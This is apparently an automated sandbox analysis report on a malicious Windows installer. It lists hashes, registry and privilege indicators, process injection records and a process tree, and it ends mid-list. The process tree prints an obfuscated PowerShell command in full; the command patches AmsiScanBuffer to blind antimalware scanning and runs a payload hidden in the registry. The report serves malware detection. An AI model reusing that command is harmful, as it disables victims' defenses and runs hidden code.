1731919d2dc81ad27833aaaf162c923c8c0e9ec12f0517c7db0409b74e9550c6

Analysis

max time kernel
63s
max time network
21s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
01-07-2024 18:28

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Reason

Machine shutdown

Report Analysis Logs

General

Target

zvgfd-main/Install.exe
Size

164KB
MD5

319a41dd1934848abc8a5df381540481
SHA1

24ad88753d62ae5e38c3b6caba45bef5c70f7699
SHA256

abde8270375bf984b9a8bf1c15ff77f9e33ad185c7305471e05feb80843ee5bc
SHA512

929ca873880db0706ab3d76d98acd343dafab2145fafa3aa05c273b3cf451aac16d1ce71776a9e1fde7a794f172d60dc1536876193bd510de8a259c3f43211cf
SSDEEP

3072:xQpsM8ulc/LGjoOYDqFPgdt3oJ4xbnaldp9pq1N1dIfnXSxmPRnSee9:xQpsMjlc/LGMAFet30Kbml41N1dINP4p

Score

10^/10

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 4920 created 588	4920	powershell.EXE	5

Drops file in System32 directory 10 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx	svchost.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4920 set thread context of 1464	4920	powershell.EXE	83

Modifies data under HKEY_USERS 49 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\02pppianlvdafjax\DeviceId = "<Data LastUpdatedTime=\"1719858709\"><User username=\"02PPPIANLVDAFJAX\"><HardwareInfo BoundTime=\"1719858709\" TpmKeyStateClient=\"1\" TpmKeyStateServer=\"3\" LicenseKeySequence=\"1\" LicenseInstallError=\"0\" LicenseKeyVersion=\"2\"/></User></Data>\r\n"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\ValidDeviceId = "02pppianlvdafjax"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\02pppianlvdafjax\AppIdList = "{AFDA72BF-3409-413A-B54E-2AB8D66A7826};"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\02pppianlvdafjax	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\DeviceLicenseUpdateFailureCount = "0"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\02pppianlvdafjax\DeviceId = "<Data LastUpdatedTime=\"1719858709\"><User username=\"02PPPIANLVDAFJAX\"/></Data>\r\n"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4920	powershell.EXE
4920	powershell.EXE
4920	powershell.EXE
1464	dllhost.exe
1464	dllhost.exe
1464	dllhost.exe
1464	dllhost.exe
5012	wlrmdr.exe
5012	wlrmdr.exe
1464	dllhost.exe
1464	dllhost.exe
1464	dllhost.exe
1464	dllhost.exe
1464	dllhost.exe
1464	dllhost.exe
1464	dllhost.exe
1464	dllhost.exe
1464	dllhost.exe
1464	dllhost.exe
1464	dllhost.exe
1464	dllhost.exe
1464	dllhost.exe
1464	dllhost.exe
1464	dllhost.exe
1464	dllhost.exe
1464	dllhost.exe
1464	dllhost.exe
1464	dllhost.exe
1464	dllhost.exe
1464	dllhost.exe
1464	dllhost.exe
1464	dllhost.exe
1464	dllhost.exe
1464	dllhost.exe
1464	dllhost.exe
1464	dllhost.exe
1464	dllhost.exe
1464	dllhost.exe
1464	dllhost.exe
1464	dllhost.exe
1464	dllhost.exe
1464	dllhost.exe
1464	dllhost.exe
1464	dllhost.exe
1464	dllhost.exe
1464	dllhost.exe
1464	dllhost.exe
1464	dllhost.exe
1464	dllhost.exe
1464	dllhost.exe
1464	dllhost.exe
1464	dllhost.exe
1464	dllhost.exe
1464	dllhost.exe
1464	dllhost.exe
1464	dllhost.exe
1464	dllhost.exe
1464	dllhost.exe
1464	dllhost.exe
1464	dllhost.exe
1464	dllhost.exe
1464	dllhost.exe
1464	dllhost.exe
1464	dllhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4920	powershell.EXE
Token: SeDebugPrivilege	4920	powershell.EXE
Token: SeDebugPrivilege	1464	dllhost.exe
Token: SeShutdownPrivilege	3480	Explorer.EXE
Token: SeCreatePagefilePrivilege	3480	Explorer.EXE
Token: SeShutdownPrivilege	3480	Explorer.EXE
Token: SeCreatePagefilePrivilege	3480	Explorer.EXE
Token: SeShutdownPrivilege	3480	Explorer.EXE
Token: SeCreatePagefilePrivilege	3480	Explorer.EXE
Token: SeShutdownPrivilege	384	dwm.exe
Token: SeCreatePagefilePrivilege	384	dwm.exe
Token: SeShutdownPrivilege	3480	Explorer.EXE
Token: SeCreatePagefilePrivilege	3480	Explorer.EXE
Token: SeShutdownPrivilege	3480	Explorer.EXE
Token: SeCreatePagefilePrivilege	3480	Explorer.EXE
Token: SeShutdownPrivilege	3480	Explorer.EXE
Token: SeCreatePagefilePrivilege	3480	Explorer.EXE
Token: SeShutdownPrivilege	3480	Explorer.EXE
Token: SeCreatePagefilePrivilege	3480	Explorer.EXE
Token: SeShutdownPrivilege	3480	Explorer.EXE
Token: SeCreatePagefilePrivilege	3480	Explorer.EXE
Token: SeShutdownPrivilege	3480	Explorer.EXE
Token: SeCreatePagefilePrivilege	3480	Explorer.EXE
Token: SeShutdownPrivilege	3480	Explorer.EXE
Token: SeCreatePagefilePrivilege	3480	Explorer.EXE
Token: SeShutdownPrivilege	3480	Explorer.EXE
Token: SeCreatePagefilePrivilege	3480	Explorer.EXE
Token: SeShutdownPrivilege	3480	Explorer.EXE
Token: SeCreatePagefilePrivilege	3480	Explorer.EXE
Token: SeAssignPrimaryTokenPrivilege	2324	svchost.exe
Token: SeIncreaseQuotaPrivilege	2324	svchost.exe
Token: SeSecurityPrivilege	2324	svchost.exe
Token: SeTakeOwnershipPrivilege	2324	svchost.exe
Token: SeLoadDriverPrivilege	2324	svchost.exe
Token: SeSystemtimePrivilege	2324	svchost.exe
Token: SeBackupPrivilege	2324	svchost.exe
Token: SeRestorePrivilege	2324	svchost.exe
Token: SeShutdownPrivilege	2324	svchost.exe
Token: SeSystemEnvironmentPrivilege	2324	svchost.exe
Token: SeUndockPrivilege	2324	svchost.exe
Token: SeManageVolumePrivilege	2324	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2324	svchost.exe
Token: SeIncreaseQuotaPrivilege	2324	svchost.exe
Token: SeSecurityPrivilege	2324	svchost.exe
Token: SeTakeOwnershipPrivilege	2324	svchost.exe
Token: SeLoadDriverPrivilege	2324	svchost.exe
Token: SeSystemtimePrivilege	2324	svchost.exe
Token: SeBackupPrivilege	2324	svchost.exe
Token: SeRestorePrivilege	2324	svchost.exe
Token: SeShutdownPrivilege	2324	svchost.exe
Token: SeSystemEnvironmentPrivilege	2324	svchost.exe
Token: SeUndockPrivilege	2324	svchost.exe
Token: SeManageVolumePrivilege	2324	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2324	svchost.exe
Token: SeIncreaseQuotaPrivilege	2324	svchost.exe
Token: SeSecurityPrivilege	2324	svchost.exe
Token: SeTakeOwnershipPrivilege	2324	svchost.exe
Token: SeLoadDriverPrivilege	2324	svchost.exe
Token: SeSystemtimePrivilege	2324	svchost.exe
Token: SeBackupPrivilege	2324	svchost.exe
Token: SeRestorePrivilege	2324	svchost.exe
Token: SeShutdownPrivilege	2324	svchost.exe
Token: SeSystemEnvironmentPrivilege	2324	svchost.exe
Token: SeUndockPrivilege	2324	svchost.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
5012	wlrmdr.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4920 wrote to memory of 1464	4920	powershell.EXE	83
PID 4920 wrote to memory of 1464	4920	powershell.EXE	83
PID 4920 wrote to memory of 1464	4920	powershell.EXE	83
PID 4920 wrote to memory of 1464	4920	powershell.EXE	83
PID 4920 wrote to memory of 1464	4920	powershell.EXE	83
PID 4920 wrote to memory of 1464	4920	powershell.EXE	83
PID 4920 wrote to memory of 1464	4920	powershell.EXE	83
PID 4920 wrote to memory of 1464	4920	powershell.EXE	83
PID 1464 wrote to memory of 588	1464	dllhost.exe	5
PID 1464 wrote to memory of 676	1464	dllhost.exe	7
PID 1464 wrote to memory of 960	1464	dllhost.exe	12
PID 676 wrote to memory of 2512	676	lsass.exe	45
PID 1464 wrote to memory of 384	1464	dllhost.exe	13
PID 676 wrote to memory of 2512	676	lsass.exe	45
PID 1464 wrote to memory of 744	1464	dllhost.exe	14
PID 1464 wrote to memory of 652	1464	dllhost.exe	15
PID 1464 wrote to memory of 1048	1464	dllhost.exe	16
PID 1464 wrote to memory of 1092	1464	dllhost.exe	18
PID 1464 wrote to memory of 1104	1464	dllhost.exe	19
PID 1464 wrote to memory of 1120	1464	dllhost.exe	20
PID 1464 wrote to memory of 1260	1464	dllhost.exe	21
PID 676 wrote to memory of 2512	676	lsass.exe	45
PID 1464 wrote to memory of 1288	1464	dllhost.exe	22
PID 1464 wrote to memory of 1296	1464	dllhost.exe	23
PID 1464 wrote to memory of 1376	1464	dllhost.exe	24
PID 1464 wrote to memory of 1472	1464	dllhost.exe	25
PID 1464 wrote to memory of 1524	1464	dllhost.exe	26
PID 1464 wrote to memory of 1532	1464	dllhost.exe	27
PID 1464 wrote to memory of 1640	1464	dllhost.exe	28
PID 1464 wrote to memory of 1672	1464	dllhost.exe	29
PID 1464 wrote to memory of 1700	1464	dllhost.exe	30
PID 1464 wrote to memory of 1756	1464	dllhost.exe	31
PID 1464 wrote to memory of 1764	1464	dllhost.exe	32
PID 1464 wrote to memory of 1876	1464	dllhost.exe	33
PID 1464 wrote to memory of 1932	1464	dllhost.exe	34
PID 1464 wrote to memory of 1940	1464	dllhost.exe	35
PID 1464 wrote to memory of 2016	1464	dllhost.exe	36
PID 1464 wrote to memory of 1684	1464	dllhost.exe	37
PID 1464 wrote to memory of 2128	1464	dllhost.exe	39
PID 1464 wrote to memory of 2248	1464	dllhost.exe	40
PID 1464 wrote to memory of 2324	1464	dllhost.exe	41
PID 1464 wrote to memory of 2372	1464	dllhost.exe	42
PID 1464 wrote to memory of 2380	1464	dllhost.exe	43
PID 1464 wrote to memory of 2420	1464	dllhost.exe	44
PID 1464 wrote to memory of 2512	1464	dllhost.exe	45
PID 1464 wrote to memory of 2520	1464	dllhost.exe	46
PID 1464 wrote to memory of 2536	1464	dllhost.exe	47
PID 1464 wrote to memory of 2544	1464	dllhost.exe	48
PID 1464 wrote to memory of 2936	1464	dllhost.exe	49
PID 1464 wrote to memory of 780	1464	dllhost.exe	51
PID 1464 wrote to memory of 2084	1464	dllhost.exe	52
PID 1464 wrote to memory of 3160	1464	dllhost.exe	53
PID 1464 wrote to memory of 3212	1464	dllhost.exe	54
PID 1464 wrote to memory of 3412	1464	dllhost.exe	55
PID 1464 wrote to memory of 3480	1464	dllhost.exe	56
PID 1464 wrote to memory of 3604	1464	dllhost.exe	57
PID 1464 wrote to memory of 3796	1464	dllhost.exe	58
PID 1464 wrote to memory of 3960	1464	dllhost.exe	60
PID 1464 wrote to memory of 3204	1464	dllhost.exe	62
PID 1464 wrote to memory of 2960	1464	dllhost.exe	64
PID 1464 wrote to memory of 4604	1464	dllhost.exe	66
PID 588 wrote to memory of 5012	588	winlogon.exe	87
PID 588 wrote to memory of 5012	588	winlogon.exe	87
PID 1464 wrote to memory of 1132	1464	dllhost.exe	68

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
- Suspicious use of WriteProcessMemory
PID:588
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:384
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{b4a29e28-ef24-430e-b2b1-96dbe061b69e}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1464
- C:\Windows\system32\wlrmdr.exe
  -s -1 -f 2 -t Your PC will automatically restart in one minute -m Windows ran into a problem and needs to restart. You should close this message now and save your work. -a 3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:5012

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
- Suspicious use of WriteProcessMemory
PID:676

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:960

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:744

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:652

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1048
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:3160
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:fcPxEybymrDc{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$LiPcPRKzMASPac,[Parameter(Position=1)][Type]$byMcZjwlFZ)$ooaFPUJPlWF=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+'e'+''+[Char](102)+''+[Char](108)+''+[Char](101)+''+[Char](99)+''+[Char](116)+''+'e'+'d'+[Char](68)+''+[Char](101)+''+[Char](108)+''+[Char](101)+''+'g'+''+[Char](97)+'te')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'nM'+[Char](101)+''+'m'+''+[Char](111)+''+[Char](114)+''+[Char](121)+''+'M'+''+[Char](111)+''+[Char](100)+''+'u'+''+'l'+'e',$False).DefineType('M'+[Char](121)+''+'D'+'e'+'l'+''+[Char](101)+'g'+[Char](97)+'t'+'e'+''+[Char](84)+''+[Char](121)+''+[Char](112)+'e',''+'C'+'l'+'a'+''+[Char](115)+''+'s'+''+[Char](44)+'Pu'+'b'+''+[Char](108)+'i'+[Char](99)+''+[Char](44)+''+'S'+''+[Char](101)+''+'a'+''+[Char](108)+'e'+[Char](100)+''+[Char](44)+'An'+[Char](115)+''+[Char](105)+''+'C'+''+[Char](108)+''+'a'+''+[Char](115)+'s'+[Char](44)+''+[Char](65)+'u'+[Char](116)+''+[Char](111)+''+[Char](67)+'l'+[Char](97)+''+[Char](115)+'s',[MulticastDelegate]);$ooaFPUJPlWF.DefineConstructor(''+[Char](82)+''+[Char](84)+''+[Char](83)+''+[Char](112)+''+[Char](101)+''+[Char](99)+''+[Char](105)+''+[Char](97)+''+[Char](108)+''+[Char](78)+''+'a'+''+[Char](109)+''+[Char](101)+','+[Char](72)+''+'i'+''+[Char](100)+''+[Char](101)+''+'B'+''+'y'+''+[Char](83)+''+'i'+''+[Char](103)+''+[Char](44)+'P'+[Char](117)+''+[Char](98)+''+'l'+''+'i'+''+'c'+'',[Reflection.CallingConventions]::Standard,$LiPcPRKzMASPac).SetImplementationFlags(''+[Char](82)+''+'u'+''+[Char](110)+''+'t'+'i'+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+'e'+''+'d'+'');$ooaFPUJPlWF.DefineMethod(''+[Char](73)+''+[Char](110)+'v'+[Char](111)+'k'+'e'+'',''+'P'+''+[Char](117)+''+[Char](98)+''+[Char](108)+'ic'+[Char](44)+'H'+[Char](105)+''+'d'+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+'S'+''+'i'+''+[Char](103)+''+[Char](44)+''+[Char](78)+'e'+[Char](119)+'Sl'+[Char](111)+''+[Char](116)+''+[Char](44)+'V'+'i'+'r'+[Char](116)+'ual',$byMcZjwlFZ,$LiPcPRKzMASPac).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+'ime'+[Char](44)+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+'d');Write-Output $ooaFPUJPlWF.CreateType();}$SbVlXTTsEHJfE=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+'y'+''+[Char](115)+''+[Char](116)+''+[Char](101)+''+[Char](109)+''+'.'+''+'d'+''+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+''+[Char](105)+''+[Char](99)+''+'r'+''+[Char](111)+''+[Char](115)+'o'+[Char](102)+'t'+[Char](46)+'W'+[Char](105)+''+[Char](110)+''+'3'+''+[Char](50)+''+'.'+'Un'+[Char](115)+''+[Char](97)+''+[Char](102)+'eN'+'a'+''+'t'+'i'+[Char](118)+'eM'+[Char](101)+'t'+[Char](104)+''+'o'+'d'+'s'+'');$vOllycWJtPjugG=$SbVlXTTsEHJfE.GetMethod(''+[Char](71)+''+[Char](101)+''+'t'+''+[Char](80)+''+[Char](114)+'o'+[Char](99)+''+'A'+'d'+[Char](100)+''+[Char](114)+''+'e'+''+[Char](115)+'s',[Reflection.BindingFlags]('Pu'+[Char](98)+''+'l'+''+'i'+''+[Char](99)+''+','+''+[Char](83)+''+[Char](116)+''+[Char](97)+''+[Char](116)+''+[Char](105)+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$AdgEUAMYwMNvRMkmMTx=fcPxEybymrDc @([String])([IntPtr]);$GcWchZLdclrHmukBGqHXRH=fcPxEybymrDc @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$MtAniNxtgFL=$SbVlXTTsEHJfE.GetMethod('G'+[Char](101)+''+'t'+'Mo'+'d'+''+[Char](117)+'le'+'H'+''+[Char](97)+'n'+'d'+''+'l'+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+'r'+'n'+'e'+[Char](108)+''+'3'+''+'2'+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+'l'+'')));$xMCbWYMaiiWizZ=$vOllycWJtPjugG.Invoke($Null,@([Object]$MtAniNxtgFL,[Object]('L'+'o'+''+[Char](97)+''+'d'+'L'+[Char](105)+''+'b'+'r'+[Char](97)+''+[Char](114)+'y'+[Char](65)+'')));$OmnsVWaiYHdBwIMHY=$vOllycWJtPjugG.Invoke($Null,@([Object]$MtAniNxtgFL,[Object](''+[Char](86)+'ir'+'t'+''+'u'+''+[Char](97)+''+[Char](108)+''+'P'+''+[Char](114)+''+[Char](111)+''+[Char](116)+''+'e'+'c'+[Char](116)+'')));$vAIOiMs=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($xMCbWYMaiiWizZ,$AdgEUAMYwMNvRMkmMTx).Invoke(''+[Char](97)+''+[Char](109)+''+[Char](115)+''+'i'+''+[Char](46)+''+[Char](100)+''+'l'+'l');$YMFHLGHHCAyDFBvGB=$vOllycWJtPjugG.Invoke($Null,@([Object]$vAIOiMs,[Object]('Am'+[Char](115)+''+[Char](105)+''+[Char](83)+''+[Char](99)+''+[Char](97)+''+[Char](110)+''+[Char](66)+''+[Char](117)+''+[Char](102)+''+[Char](102)+''+[Char](101)+''+'r'+'')));$HSENqcwAhy=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OmnsVWaiYHdBwIMHY,$GcWchZLdclrHmukBGqHXRH).Invoke($YMFHLGHHCAyDFBvGB,[uint32]8,4,[ref]$HSENqcwAhy);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$YMFHLGHHCAyDFBvGB,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OmnsVWaiYHdBwIMHY,$GcWchZLdclrHmukBGqHXRH).Invoke($YMFHLGHHCAyDFBvGB,[uint32]8,0x20,[ref]$HSENqcwAhy);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+''+'F'+'T'+[Char](87)+'A'+[Char](82)+'E').GetValue(''+[Char](36)+''+[Char](55)+''+'7'+'s'+[Char](116)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4920

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1092

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1104

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1120

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1260
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:780

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Drops file in System32 directory
PID:1288

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1296

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1376

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1472

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1524

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1532

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1640

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1672

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1700

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
